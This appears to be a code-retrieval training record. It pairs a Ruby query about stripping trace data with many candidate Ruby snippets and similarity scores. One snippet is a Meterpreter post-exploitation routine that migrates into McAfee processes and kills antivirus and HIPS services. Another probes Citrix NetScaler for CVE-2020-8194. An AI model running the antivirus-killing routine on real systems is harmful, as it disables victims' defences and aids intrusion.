_set_entity_detail \"api_endpoint\", false\n end\n\n end",
"def delete_capability_sioc_module_descriptor_with_http_info(moid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.delete_capability_sioc_module_descriptor ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.delete_capability_sioc_module_descriptor\"\n end\n # resource path\n local_var_path = '/api/v1/capability/SiocModuleDescriptors/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type]\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.delete_capability_sioc_module_descriptor\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#delete_capability_sioc_module_descriptor\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def run\n\t\t\tprint_status(\"Running module against #{sysinfo['Computer']}\")\n\t\t\tmcafee_processes = %W{\n\t\t\t\t\t\t\n\t\t\t\t\t\tscan32.exe\n\t\t\t\t\t\tshstat.exe\n\t\t\t\t\t\ttbmon.exe\n\t\t\t\t\t\tvstskmgr.exe\n\t\t\t\t\t\tengineserver.exe\n\t\t\t\t\t\tmfevtps.exe\n\t\t\t\t\t\tmfeann.exe\n\t\t\t\t\t\tmcscript.exe\n\t\t\t\t\t\tupdaterui.exe\n\t\t\t\t\t\tudaterui.exe\n\t\t\t\t\t\tnaprdmgr.exe\n\t\t\t\t\t\tframeworkservice.exe\n\t\t\t\t\t\tcleanup.exe\n\t\t\t\t\t\tcmdagent.exe\n\t\t\t\t\t\tfrminst.exe\n\t\t\t\t\t\tmcscript_inuse.exe\n\t\t\t\t\t\tmctray.exe\n\t\t\t\t\t\t#mcshield.exe\n\t}\n\n\t\t\t\n\t\t\thips_processes = %W{\n\t\t\t\t\t\t#firesvc.exe\n\t\t\t\t\t\tfiretray.exe\n\t\t\t\t\t\t#hipsvc.exe\n\t\t\t\t\t\tmfevtps.exe\n\t\t\t\t\t\tmcafeefire.exe\n\t}\n\n\t\t\tprint_status(\"Searching for Mcshield.exe...\")\n\t\t\tclient.sys.process.get_processes().each do |x|\n\t\t\t\tif (x['name'].downcase == \"mcshield.exe\")\n\t\t\t\t\tprint_status(\"Found Mcsheild process #{x['pid']}...Migrating into it\")\n\t\t\t\t\tclient.core.migrate(x['pid'])\n\t\t\t\t\tprint_status(\"Migrated into #{x['name']} - #{x['pid']}\")\n\t\t\t\t\tclient.sys.process.get_processes().each do |y|\n\t\t\t\t\t\tif (mcafee_processes.index(y['name'].downcase))\n\t\t\t\t\t\t\tprint_status(\"Killing off #{y['name']}...\")\n\t\t\t\t\t\t\tclient.sys.process.kill(y['pid'])\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\tprint_status(\"Searching for hipsvc.exe...\")\n\t\t\tclient.sys.process.get_processes().each do |a|\n\t\t\t\tif (a['name'].downcase == \"hipsvc.exe\")\n\t\t\t\t\tprint_status(\"Found hipsvc process #{a['pid']}...Migrating into it\")\n\t\t\t\t\tclient.core.migrate(a['pid'])\n\t\t\t\t\tprint_status(\"Migrated into #{a['name']} - #{a['pid']}\")\n\t\t\t\t\tclient.sys.process.get_processes().each do |z|\n\t\t\t\t\t\tif (hips_processes.index(z['name'].downcase))\n\t\t\t\t\t\t\tprint_status(\"Killing off #{z['name']}...\")\n\t\t\t\t\t\t\tclient.sys.process.kill(z['pid'])\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\n\n#####Migrating into explorer.exe to save current session\n\n\t\t\tclient.sys.process.get_processes().each do |e|\n\t\t\t\tif (e['name'].downcase==\"explorer.exe\")\n\t\t\t\t\tprint_status(\"Found explorer.exe #{e['pid']}...Migrating into it\")\t\n\t\t\t\t\tclient.core.migrate(e['pid'])\t\n\t\t\t\tend\n\t\t\tend\n#####Duplicating session\n\n\t\t\tprint_status(\"Duplicating Session\")\n\t\t\tduplicate_session\n\t\t\tselect(nil, nil, nil, 5)\n\t\t\tprint_status(\"Current process is #{client.sys.process.open.pid}\")\n\t\t\tprint_status(\"Current sessions are #{framework.sessions.keys}\")\n\n####Using the duplicated session\n\t\t\tsession_active=framework.sessions.keys[1]\n\t\t\tclient_one=framework.sessions.get(session_active)\n\t\t\tselect(nil, nil, nil, 2)\n\t\t\tprint_status(\"Acive Session is #{session_active}\")\n\t\t\tclient_one.sys.process.get_processes().each do |b|\n\t\t\t\tif (b['name'].downcase == \"mcshield.exe\")\n\t\t\t\t\tprint_status(\"Found Mcshield process #{b['pid']}...Migrating into it\")\n\t\t\t\t\tclient_one.core.migrate(b['pid'])\n\t\t\t\t\tprint_status(\"Migrated into #{b['name']} - #{b['pid']}\")\n\t\t\t\t\tprint_status(\"Killing McShield.exe\")\n\t\t\t\t\tclient_one.sys.process.kill(b['pid'])\n\t\t\t\tend\n\t\t\tend\n\n\n\t\t\trescue ::Interrupt\n\t\t\traise $!\n\t\t\trescue ::Rex::Post::Meterpreter::RequestError => e\n\t\t\tprint_error(\"Meterpreter Exception: #{e.class} #{e}\")\n\t\t\tprint_error(\"This script requires the use of a SYSTEM user context\")\n\tend",
"def run\n super\n\n require_enrichment\n\n url = _get_entity_name\n\n # make request and save response\n response = http_request :get, \"#{url}/menu/guiw?nsbrand=1&protocol=nonexistent.1337\\\">&id=3&nsvpx=phpinfo\"\n unless response && response.code.to_i == 200\n _log \"No response! Failing\"\n return\n end\n\n # grab response headers and body\n response_headers = response.headers\n response_body = response.body_utf8\n\n # check if header and body contain needed values\n if response_headers.has_value?(\"application/x-java-jnlp-file\")\n # header is present, check for response body\n if response_body =~ /\\<jnlp codebase\\=\\\"nonexistent\\.1337\\\"/\n _log \"Vulnerable!\"\n _create_linked_issue \"citrix_netscaler_codeinjection_cve_2020_8194\" , { \"proof\" => response }\n end\n else\n _log \"Not vulnerable!\"\n end\n\n end",
"def features\n features = Hash[api.get_features(app).body.map{|feature| [feature['name'], feature['enabled']]}]\n actual_features = Hash[api.get_features(target_app).body.map{|feature| [feature['name'], feature['enabled']]}]\n\n features_to_enable = features.select{|feature, enabled| enabled && !actual_features[feature]}\n features_to_disable = actual_features.select{|feature, enabled| enabled && !features[feature]}\n\n action(\"Copying labs features from #{app} and restarting #{target_app}\") do\n features_to_enable.each do |feature|\n puts \"Adding #{feature} to #{target_app}\"\n api.post_feature(feature, target_app)\n end\n\n features_to_disable.each do |feature|\n puts \"Deleting #{feature} from #{target_app}\"\n api.delete_feature(feature, target_app)\n end\n end\n end",
"def sync_notify\n # ERR_NONE = 0\n # ERR_NETWORK = 1\n # ERR_REMOTESERVER = 2\n # ERR_RUNTIME = 3\n # ERR_UNEXPECTEDSERVERRESPONSE = 4\n # ERR_DIFFDOMAINSINSYNCSRC = 5\n # ERR_NOSERVERRESPONSE = 6\n # ERR_CLIENTISNOTLOGGEDIN = 7\n # ERR_CUSTOMSYNCSERVER = 8\n # ERR_UNATHORIZED = 9\n # ERR_CANCELBYUSER = 10\n # ERR_SYNCVERSION = 11\n # ERR_GEOLOCATION = 12\n \n setup_sync_handlers\n \n \n sourcename = @params['source_name'] ? @params['source_name'] : \"\"\n \n status = @params['status'] ? @params['status'] : \"\"\n \n if status == \"complete\"\n update_last_synced_time\n \n puts \"%\"*80\n puts \"SYNC COMPLETE\"\n puts \"new opp sync pending: \" + Settings.new_opportunity_sync_pending.to_s\n if Settings.new_opportunity_sync_pending\n puts \"Sync complete, starting pending new_opportunity sync.\"\n SyncUtil.start_sync('new_opportunity')\n Settings.new_opportunity_sync_pending = false\n end\n \n # store device info\n DeviceInfo.check_device_information\n \n @on_sync_complete.call\n \n WebView.execute_js(\"stopSyncSpin();\") \n\n #if latest integrated lead createdon is greater than before sync, display popup alert\n # handle_new_integrated_leads\n elsif status == \"ok\"\n if sourcename == 'AppInfo'\n check_for_upgrade\n elsif model_limits_exceeded?(sourcename, @params['total_count'])\n # model limit exceeded, stop synchronization\n return\n end\n \n if sourcename == 'Opportunity'\n handle_new_integrated_leads\n end\n \n if @params['source_name'] && @params['cumulative_count'] && @params['cumulative_count'].to_i > 0\n klass = Object.const_get(@params['source_name'])\n klass.local_changed=true if klass && klass.respond_to?(:local_changed=)\n end\n \n @on_sync_ok.call\n elsif status == \"in_progress\"\n @on_sync_in_progress.call\n elsif status == \"error\"\n err_code = @params['error_code'].to_i\n rho_error = Rho::RhoError.new(err_code)\n \n is_bad_request_data = (err_code == Rho::RhoError::ERR_CUSTOMSYNCSERVER) && !@params['server_errors'].to_s[/406 Not Acceptable/].nil?\n \n if @params['server_errors'] && @params['server_errors']['create-error']\n log_error(\"Create error\", @params.inspect)\n unless is_bad_request_data \n SyncEngine.on_sync_create_error( @params['source_name'], @params['server_errors']['create-error'], :recreate)\n else\n #notify the user here?\n #the create data given to the proxy was bad and will not succeed if tried again; delete the create\n SyncEngine.on_sync_create_error( @params['source_name'], @params['server_errors']['create-error'], :delete)\n end\n end\n \n if @params['server_errors'] && @params['server_errors']['update-error']\n log_error(\"Update error\", @params.inspect)\n unless is_bad_request_data\n SyncEngine.on_sync_update_error( @params['source_name'], @params['server_errors']['update-error'], :retry)\n else\n #notify the user here?\n SyncEngine.on_sync_update_error( @params['source_name'], @params['server_errors']['update-error'], :rollback, @params['server_errors']['update-rollback'])\n end\n end\n\n @msg = rho_error.message unless @msg and @msg.length > 0\n \n # RhoSync 2.1.5 has fixes that will cause rho_error.unknown_client? to return true in the proper scenarios.\n is_unknown_client_error = rho_error.unknown_client?(@params['error_message']) \n \n # Legacy support for RhoSync versions before 2.1.5\n is_unknown_client_error ||= (err_code == Rho::RhoError::ERR_REMOTESERVER && @params['error_message'] == \"undefined method `user_id' for nil:NilClass\")\n \n # Rhosync is not aware of this client's ID. Reset and force the user to the login screen.\n if is_unknown_client_error\n log_error(\"Error: Unknown client\", Rho::RhoError.err_message(err_code) + \" #{@params.inspect}\")\n \n SyncEngine.set_pollinterval(0)\n SyncEngine.stop_sync\n\n full_reset_logout\n \n goto_login(\"Unknown client, please log in again.\")\n elsif err_code == Rho::RhoError::ERR_NETWORK\n #leave ':send_to_exceptional => false' alone until infinite loop issue is fixed for clients without a network connection\n log_error(\"Network connectivity lost\", Rho::RhoError.err_message(err_code) + \" #{@params.inspect}\", {:send_to_exceptional => false})\n \n #stop current sync, otherwise do nothing for connectivity lapse\n SyncEngine.stop_sync\n \n #send them back to login because initial sync did not complete\n @on_sync_error.call({:error_source => 'connection'})\n elsif [Rho::RhoError::ERR_CLIENTISNOTLOGGEDIN,Rho::RhoError::ERR_UNATHORIZED].include?(err_code) \n log_error(\"RhoSync error: client is not logged in / unauthorized\", Rho::RhoError.err_message(err_code) + \" #{@params.inspect}\")\n SyncEngine.set_pollinterval(0)\n SyncEngine.stop_sync\n background_login\n elsif err_code == Rho::RhoError::ERR_CUSTOMSYNCSERVER && !@params['server_errors'].to_s[/401 Unauthorized/].nil?\n #proxy returned a 401, need to re-login\n log_error(\"Error: 401 Unauthorized from proxy\", Rho::RhoError.err_message(err_code) + \" #{@params.inspect}\")\n SyncEngine.set_pollinterval(0)\n SyncEngine.stop_sync\n \n Settings.initial_sync_complete = false\n Settings.password = ''\n goto_login(\"Your username/password is no longer valid. Please log in again.\")\n elsif err_code == Rho::RhoError::ERR_CUSTOMSYNCSERVER && !@params['server_errors'].to_s[/403 Forbidden/].nil?\n #proxy returned a 403, need to purge the database and log the user out\n log_error(\"Error: 403 Forbidden from proxy\", Rho::RhoError.err_message(err_code) + \" #{@params.inspect}\")\n SyncEngine.set_pollinterval(0)\n SyncEngine.stop_sync\n \n full_reset_logout\n \n msg = ERR_403_MESSAGE\n goto_login(msg)\n elsif is_bad_request_data\n log_error(\"Bad request data\",\"Bad request data, client sent invalid data to CRM proxy, proxy returned 406. Error params: #{@params.inspect}\")\n else\n log_error(\"Unhandled error in sync_notify: #{err_code}\", Rho::RhoError.err_message(err_code) + \" #{@params.inspect}\")\n @on_sync_error.call({:error_source => 'unknown', :error_code => err_code})\n end\n end\n end",
"def capabilities\n FFI::Libvirt.virConnectGetCapabilities(pointer)\n end",
"def intentions_for_next_step\n agent_action = AgentInternal::AgentActionIntention.new(@name, engine)\n super + [@agent_maintenance, agent_action]\n end",
"def pending_response_requests; end"
] | [
"0.5956428",
"0.56648713",
"0.53404224",
"0.5231727",
"0.5126469",
"0.5100215",
"0.5100215",
"0.5100215",
"0.504841",
"0.5036983",
"0.49699584",
"0.4955168",
"0.49309996",
"0.48953703",
"0.48447317",
"0.48319802",
"0.47732192",
"0.476498",
"0.47220227",
"0.47154567",
"0.4714851",
"0.46898562",
"0.4689705",
"0.4686538",
"0.4679274",
"0.46709496",
"0.46693742",
"0.4648525",
"0.4648525",
"0.4644374",
"0.46435493",
"0.46432284",
"0.46258184",
"0.46177074",
"0.46170256",
"0.4604548",
"0.46011358",
"0.45792294",
"0.4570459",
"0.4567831",
"0.45649943",
"0.45631245",
"0.4558823",
"0.45531493",
"0.45525295",
"0.45362854",
"0.4533858",
"0.4523494",
"0.45193365",
"0.45189455",
"0.45163265",
"0.4513188",
"0.45124605",
"0.4510407",
"0.44928366",
"0.44918206",
"0.4487514",
"0.4480428",
"0.44750887",
"0.44715026",
"0.44657898",
"0.446474",
"0.44630083",
"0.4462708",
"0.44579092",
"0.44539523",
"0.44478908",
"0.44432095",
"0.4433234",
"0.44326434",
"0.4430327",
"0.44284812",
"0.44239426",
"0.4423714",
"0.4420066",
"0.44125822",
"0.4410429",
"0.44069454",
"0.44059858",
"0.44018117",
"0.4400691",
"0.44000876",
"0.4391426",
"0.43906292",
"0.43898943",
"0.43892077",
"0.43863606",
"0.43790632",
"0.43772343",
"0.43765536",
"0.43752262",
"0.4372866",
"0.43705946",
"0.43689018",
"0.43663663",
"0.43658563",
"0.43640593",
"0.43637726",
"0.4361078",
"0.43610135",
"0.4360689"
] | 0.0 | -1 |
Removes all unnessesary data from the traces | def remove_useless_traces_data(params)
convert_list_of_json_traces_to_objects(params[0])
create_new_traces
@traces_json_string = '[' + @traces_json_string[0...-1] + ']'
puts @traces_json_string
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def clear\n trace.elegibility.transform_values { |_| 0 }\n trace.extended.each_value do |ext|\n ext.transform_values { |_| 0 }\n end\n\n error.responsibility = error.projected = error.gated = 0\n end",
"def discardAllTreasures\n \n end",
"def clear_transformed_data!\n @transformed_values = []\n end",
"def remove_trace_func\n Kernel.clear_trace_func\n end",
"def clean(backtrace, kind = :silent)\n filtered = filter_backtrace(backtrace)\n\n case kind\n when :silent\n silence(filtered)\n when :noise\n noise(filtered)\n else\n filtered\n end\n end",
"def clean_up_arrays\n self.likes.reject! {|l| l.empty? } if self.likes\n self.outdoor_activities.reject! {|l| l.empty? } if self.outdoor_activities\n self.nightlife.reject! {|l| l.empty? } if self.nightlife\n end",
"def drop_buffered_data\n @stats_engine.reset!\n @error_collector.drop_buffered_data\n @transaction_sampler.reset!\n @transaction_event_recorder.drop_buffered_data\n @custom_event_aggregator.reset!\n @span_event_aggregator.reset!\n @log_event_aggregator.reset!\n @sql_sampler.reset!\n\n if Agent.config[:clear_transaction_state_after_fork]\n Tracer.clear_state\n end\n end",
"def clean(backtrace, kind = :silent)\n filtered = filter(backtrace)\n\n case kind\n when :silent\n silence(filtered)\n when :noise\n noise(filtered)\n else\n filtered\n end\n end",
"def clear_deprecated\n @data.each do |k, _v|\n @data.delete(k) if @deprecated.include?(k)\n end\n end",
"def cleanup_dfs\n # clean up vertices attributes set during dfs\n @vertices.values.each do |vertex|\n vertex.color = nil\n vertex.predecessor = nil\n vertex.discovery = nil\n vertex.finish = nil\n end\n @time = 0\n end",
"def pop\n traces = @traces.pop(VERY_LARGE_INTEGER)\n\n measure_pop(traces)\n\n traces\n end",
"def main_area_off\n\t\tif @main_array.length > 0 then\n\t\t\tfor i in 0..(@main_array.length - 1) do\n\t\t\t\t@layer_general.remove( @main_array[i] )\n\t\t\tend\n\t\t\t@main_array.clear\n\t\tend\n\t\tself.remove( @layer_general )\n\tend",
"def unclear(object)\n toys = object[0]\n toys.each do |toy|\n add_toy(toy)\n end\n strokes = object[1]\n strokes.each do |stroke|\n add_stroke(stroke)\n end\n end",
"def destroy\n @trace.destroy\n end",
"def clear ; @data.clear ; end",
"def unsafe_forget_past!\n slices.values.map(&:history).each{|h| h.recent(memory_size)}\n\n if multi_slices?\n to_delete = slices.values.reject{|s| keep_slice?(s)}\n to_delete.map(&:rack_id).map do |rack_id| \n slices.delete(rack_id)\n end\n end\n end",
"def clear\n @extent.clear\n end",
"def clear_changed_attributes\n\t\t\t \t\t$TRACE.debug 5, \"clear_changed_attributes\"\n\t\t\t \tself.changed_attributes_aado = []\n\t\t\t \tend",
"def clear_data \n @data = []\n end",
"def remove_all()\n @field_weights = Array.new\n end",
"def clear_drawings\n execute_script(%(\n var elements = window.document.body.querySelectorAll('[id*=\"rudra_\"]');\n for (var i = 0; i < elements.length; i++) {\n elements[i].remove();\n }\n window.rudraTooltipSymbol = 9311;\n window.rudraTooltipLastPos = { x: 0, y: 0 };\n ))\n end",
"def rm_cddts_outof_blk\n axes = [@ref_rows, @ref_cols]\n axes.each{|axis|\n axis.each{|ref|\n intrsct_cddts = []\n (self.to_a.flatten & ref).each{|elm|\n intrsct_cddts.push(elm.cddts).flatten!.uniq!\n }\n six_cells_cddts = []\n (self.to_a.flatten - ref).each{|elm|\n six_cells_cddts.push(elm.cddts).flatten!.uniq!\n }\n intrsct_cddts.each{|cddt|\n unless six_cells_cddts.include?(cddt)\n (ref - self.to_a.flatten).each{|elm|\n elm.cddts.delete(cddt)\n# if ProgramConfig[:debug]\n# if elm.fixed == false and elm.cddts.length == 1\n# print \"DEBUG: [#{elm.i}, #{elm.j}] = #{elm.cddts.first}\\n\"\n# end\n# end\n elm.fixed = true if(elm.cddts.length == 1)\n }\n end\n }\n }\n }\n end",
"def clear_tracking\n ::ObjectSpace.trace_object_allocations_clear\n end",
"def reset_log_data\n without_logging { update_all(log_data: nil) }\n end",
"def clear_back_office_data\n @flbt_type = nil\n @version = nil\n @submitted_date = nil\n @effective_date = nil\n @filing_date = nil\n @ads_included = nil\n @ads_amount = nil\n @number_of_buyers = nil\n end",
"def clear_data()\n\t\[email protected]\n\t\[email protected]\n\tend",
"def remove_unused_curves(model)\n model.getCurves.each do |curve|\n if curve.directUseCount == 0\n model.removeObject(curve.handle)\n end\n end\n return model\n end",
"def cleanup\n datas[:model_feature_values].each_pair { |model_key, feature_values| \n model = Model.find(model_key)\n feature_keys = []\n model.features_list { |feature| feature_keys << feature.key }\n values(model).delete_if { |feature_key, value| !feature_keys.include?(feature_key) }\n }\n end",
"def pop\n @mutex.synchronize do\n traces = @traces\n @traces = []\n\n measure_pop(traces)\n\n return traces\n end\n end",
"def clear_collect_data; @collect_data = Hash.new; @collect_module = Hash.new; end",
"def unfiltered\n cached_dataset(:_unfiltered_ds){clone(:where => nil, :having => nil)}\n end",
"def clear\n super\n __wx_item_data.clear\n end",
"def reset_abs_data\n # reset killed battlers arrays and the counters\n @killed, @battlers_number = {}, {}\n end",
"def clear_ignores!\n @ignored = Array.new\n end",
"def clean(backtrace)\n filtered = filter_backtrace(backtrace)\n\n backtrace.reverse.map do |trace_line|\n in_app = frame_in_app?(trace_line)\n [trace_line, in_app]\n end\n end",
"def sanitize(trace)\n points = []\n \n trace.each do |each|\n points << Geometry::Point[each[0], each[1]]\n end\n \n points\n end",
"def remove_all_raws!\n @raws = {}\n end",
"def discardAllTreasures\n vT = Array.new(@visibleTreasures)\n vT.each {|treasure| discardVisibleTreasure(treasure)}\n hT = Array.new(@hiddenTreasures)\n hT.each {|treasure| discardHiddenTreasure(treasure)}\n \n end",
"def clensing\n @data.reject(&:nil?)\n end",
"def obsolete_data_sets\n data_sets.take_while { |ds| ds != active_data_set }.slice(0...-1)\n end",
"def obsolete_data_sets\n data_sets.take_while { |ds| ds != active_data_set }.slice(0...-1)\n end",
"def unflatten_data(data)\r\n @measure = data['measurement']\r\n super(data) if defined?(super)\r\n end",
"def cleanup()\n Track.where(scanned: false).delete_all()\n Disc.delete_all(\"id NOT IN (SELECT DISTINCT(disc_id) FROM tracks)\")\n Album.delete_all(\"id NOT IN (SELECT DISTINCT(album_id) FROM tracks)\")\n Artist.delete_all(\"id NOT IN (SELECT DISTINCT(artist_id) FROM tracks)\")\n end",
"def remove_data_line(which = 1)\n remove_line(\"data_line_#{which}\")\n end",
"def delete_oldies(diff)\n @log_entries.synchronize do\n @log_entries.each_pair do |key, value|\n value.delete_if { |e| ((Time.now - e[:time_local].to_time) > diff) }\n end\n @log_entries.delete_if { |key, value| value==[] } #jak zostanie pusta tablica, chyba ze dla historii chcemy przechowywac puste worker_addr'y (?)\n end\n end",
"def trim_data\n @buffer.keys.each do |k| \n diff = @buffer[k].count - (1.0 * @scene_width / @x_mul).ceil.to_i\n @buffer[k] = @buffer[k].drop(diff) if diff > 0\n end\n end",
"def discard; end",
"def discard; end",
"def clear_damage_values\n mrts_conditional_drops_clear_damage_values\n @element = 0\n end",
"def untrace!(*methods)\n if methods.size == 0 # If no methods specified untrace\n methods = @_traced # all currently traced methods\n STDERR << \"Untracing all methods on #{object_id}\\n\"\n else # Otherwise, untrace\n methods.map! {|m| m.to_sym } # Convert string to symbols\n methods &= @_traced # all specified methods that are traced\n STDERR << \"Untracing #{methods.join(', ')} on #{object_id}\\n\"\n end\n\n @_traced -= methods # Remove them from our set of traced methods\n\n # Remove the traced singleton methods from the eigenclass\n # Note that we class_eval a block here, not a string\n (class << self; self; end).class_eval do\n methods.each do |m|\n remove_method m # undef_method would not work correctly\n end\n end\n\n # If no methods are traced anymore, remove our instance var \n if @_traced.empty?\n remove_instance_variable :@_traced\n end\n end",
"def untrace!(*methods)\n if methods.size == 0 # If no methods specified untrace\n methods = @_traced # all currently traced methods\n STDERR << \"Untracing all methods on #{object_id}\\n\"\n else # Otherwise, untrace\n methods.map! {|m| m.to_sym } # Convert string to symbols\n methods &= @_traced # all specified methods that are traced\n STDERR << \"Untracing #{methods.join(', ')} on #{object_id}\\n\"\n end\n\n @_traced -= methods # Remove them from our set of traced methods\n\n # Remove the traced singleton methods from the eigenclass\n # Note that we class_eval a block here, not a string\n (class << self; self; end).class_eval do\n methods.each do |m|\n remove_method m # undef_method would not work correctly\n end\n end\n\n # If no methods are traced anymore, remove our instance var \n if @_traced.empty?\n remove_instance_variable :@_traced\n end\n end",
"def clear_changes!\n remove_instance_variable(:@original_hash) if defined?(@original_hash)\n end",
"def clearTrack\n @points = []\n end",
"def drop_buffered_data\n # the following line needs else branch coverage\n agent.drop_buffered_data if agent # rubocop:disable Style/SafeNavigation\n record_api_supportability_metric(:drop_buffered_data)\n end",
"def clear_filters\n Native.sd_journal_flush_matches(@ptr)\n end",
"def drop_lines\n lines_to_dump = @included_lines.keys\n @included_lines = {}\n lines_to_dump\n end",
"def untrace!(*methods)\n if methods.size == 0 # If no methods specified untrace\n methods = @_traced # all currently traced methods \n STDERR << \"Untracing all methods on #{object_id}\\n\"\n else # Otherwise, untrace\n methods.map! {|m| m.to_sym }\n methods &= @_traced # picked out all traced methods \n STDERR << \"Untracing #{methods.join(', ')} on #{object_id}\\n\"\n end \n\n @_traced -= methods # Remove them from our set of traced methods \n\n # Remove the traced singleton methods from the eigenclass\n # Note that we class_eval a block here, not a string \n (class << self; self; end).class_eval do \n methods.each do |m|\n remove_method m # undef_method would not work correctly\n end \n end \n\n # If no methods are traced anymore, remove out instance var \n if @_traced.empty?\n remove_instance_variable :@_traced\n end \n end",
"def deleteData\n\t\t@dataArray = @dataArray.drop(@dataArray.length)\n\tend",
"def stats_reset\n @stats = nil\n end",
"def remove_all()\n @datatype_properties = Array.new\n end",
"def clear!\n non_essential = records.all.reject { |r| [\"SOA\", \"NS\"].include? r.type }\n change = update [], non_essential\n change&.wait_until_done!\n end",
"def reset\n ::Fiveruns::Dash.sync { @data = blank_data }\n end",
"def clear_paths\n @trail.paths.dup.each { |path| @trail.remove_path(path) }\n end",
"def discard_trip_outliers\n @drivers.each do |driver|\n driver.discard_trip_outliers\n end\n end",
"def merge_data_and_clear(old_data)\n merged = merge_data(old_data)\n self.metric_hash = {}\n merged\n end",
"def remove_all_straits!\n warn \"Experimental code #{__method__}. Do not enable in release. #{__FILE__}:#{__LINE__}\"\n\n patch_file!(\"map/adjacencies.csv\") do |file|\n # Zeeland-Gent\n file.b.lines.select{|x|\n t = x.split(\";\")[2]\n x =~ /Gent/ or (t != \"sea\" and t != \"lake\")\n }.join\n end\n end",
"def prune\n @set.clear\n end",
"def clear\n @dataset.clear\n end",
"def wipe_snapshots_data\n @snapshots_cycle = 0\n @snapshot_groups = {}\n end",
"def discard!\n # This should be overridden by concrete adapters.\n end",
"def clear_tsbs\n super\n @ori_x = 0\n @ori_y = 0\n end",
"def clean_raw_data(klass)\n\t\tputs \"Deleting all #{klass.name} records\"\n\t\tklass.delete_all\n\tend",
"def clean_backtrace(backtrace)\n trace = backtrace.reject{ |bt| bt =~ INTERNALS }\n trace = trace.map do |bt| \n if i = bt.index(':in')\n bt[0...i]\n else\n bt\n end\n end\n trace = backtrace if trace.empty?\n trace = trace.map{ |bt| bt.sub(Dir.pwd+File::SEPARATOR,'') }\n trace\n end",
"def backtrace_remove; end",
"def eliminate_percipitation\n self.scan() if @filearray == nil\n setcolumntovalue(Present_Weather_Observation, \"0\")\n setcolumntovalue(Present_Weather_Codes,\"999999999\") #no weather. Clear day.\n setcolumntovalue(Snow_Depth,\"0\")\n setcolumntovalue(Liquid_Precipitation_Depth,\"0\")\n setcolumntovalue(Liquid_Precipitation_Quantity,\"0\")\n return self\n end",
"def remove_silencers!\n @silencers = []\n end",
"def remove_silencers!\n @silencers = []\n end",
"def remove_silencers!\n @silencers = []\n end",
"def clear\n @excluded = Set.new\n end",
"def eraseOldTopStoryEntries\n for i in 0...TopStory.count-1\n TopStory.first.destroy\n end\n end",
"def clear()\n if @extend then\n @tiers.clear\n else\n @tiers.each do |tier|\n tier.clear\n end\n end\n \n @length = 0\n end",
"def clear\n # clear the lineage\n @lineage.clear\n # if the visited hash is not shared, then clear it\n @visited.clear unless @options.has_key?(:visited)\n end",
"def clean_trace bt, script_filename\n short_trace = []\n bt.each do |line|\n break unless line.include?(script_filename)\n short_trace << line\n end\n short_trace\n end",
"def clear_data\n API::request(:post, 'https://sandbox.fundamerica.com/api/test_mode/clear_data')\n end",
"def remove_unwanted_lines\n return unless @remove_lines.is_a?(Hash)\n @non_tabular_lines.each_with_index do |_line, i|\n @remove_lines.each do |_key, lines_to_remove|\n comparable_lines = @non_tabular_lines[i, lines_to_remove.length]\n next unless lines_equal(comparable_lines, lines_to_remove)\n # All lines are equal, so flag them as removed\n comparable_lines.each { |line| line.removed = true }\n end\n end\n end",
"def remove_except_follower\n events=$PokemonGlobal.dependentEvents\n $PokemonGlobal.dependentEvents.each_with_index do |event,i|\n next if event[8][/FollowerPkmn/]\n events[i] = nil\n @realEvents[i] = nil\n @lastUpdate += 1\n end\n events.compact!\n @realEvents.compact!\n end",
"def reset!\n _central_mwares.clear\n _mwares.clear\n _before.clear\n _after.clear\n end",
"def discard_a(event)\n output_changed event.old_element\n end",
"def clean_backtrace(backtrace)\n Lorekeeper::BacktraceCleaner.instance.clean(backtrace)\n end",
"def strip_removed_issues!\n removed_issues.each { |issue| issue.update!(review_request: nil) }\n end",
"def clear_marks\n @entries.each { |e| e[MARKED] = 0 }\n write_index\n end",
"def clean\n @scene = Bootstrap.new\n @charts = Hash.new\n end",
"def remove_noise(data)\n noise(data, :-)\n end",
"def reset\n @data = nil\n end",
"def rm_fixed_values_from_cddts\n axes = [@row, @col, @block.to_a.flatten]\n axes.each{|axis|\n axis.each{|elm|\n next unless elm.fixed\n @cddts.delete(elm.cddts.first)\n }\n }\n\n# if ProgramConfig[:debug]\n# if @fixed == false and @cddts.length == 1\n# print \"DEBUG: [#{@i}, #{@j}] = #{@cddts.first}\\n\"\n# end\n# end\n @fixed = true if(@cddts.length == 1)\n end",
"def clear\n set :map_view, nil\n set :data_set, nil\n end",
"def clear() end",
"def clear() end",
"def unmark_all!\n STDERR.puts \"unmark_all!\" if @trace > 0\n return if @paths.empty?\n @paths = @paths.reject {|x| x.instance_of? Proc}\n end",
"def remove_empties(h)\n h.delete_if do |_k, v|\n v == '∅∅∅'\n end\n\n h.each_pair do |_k, v|\n remove_empties(v) if v.is_a?(Hash)\n end\n\n h.delete_if do |_k, v|\n v.is_a?(Hash) && v.empty?\n end\n end"
] | [
"0.67180717",
"0.6350163",
"0.61820173",
"0.59679735",
"0.5958402",
"0.5931395",
"0.58900374",
"0.58790004",
"0.5877097",
"0.5816887",
"0.5800543",
"0.57929695",
"0.57839453",
"0.57833207",
"0.5782553",
"0.57753074",
"0.575557",
"0.57200986",
"0.5714017",
